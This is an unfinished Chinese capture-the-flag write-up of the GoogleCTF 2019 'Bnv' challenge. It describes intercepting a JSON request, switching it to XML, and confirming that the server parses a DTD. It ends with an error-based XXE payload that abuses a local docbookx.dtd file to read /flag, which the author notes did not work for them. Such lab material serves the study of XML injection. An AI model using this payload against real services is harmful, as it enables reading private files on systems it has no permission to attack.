BUUFTC-日刷-[GoogleCTF2019 Quals]Bnv-xml-dtd(未完成
一个奇怪的网站,点击按钮貌似发了个包,然后接收到消息
burp抓下包看看
发现发的是一个json数据,json数据格式如下
{
key1:value1,
key2:value2,
...
}
返回也是个json数据,我们尝试改一下发包的内容
返回发现无结果,同时观察到返回数据叫搜索值
我们尝试将这个值改为xml(至于为啥我也不清楚,json改成xml服务器也做了解析吗,没源码。。)
讲conten-type改为xml,数据也改为xml格式
提示没DTD,DTD就是xml一种规范格式
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
]>
<message>
135601360123502401401250
</message>
成功回显
下一步就是利用漏洞了
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd,那么我们可以通过引入本地dtd文件实现XXE。
ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd文件
但是后面我buu怎么也没回显示
脚本先记下
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa ' <!ENTITY %file SYSTEM "file:///flag"> <!ENTITY %eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>
等有时间再来复现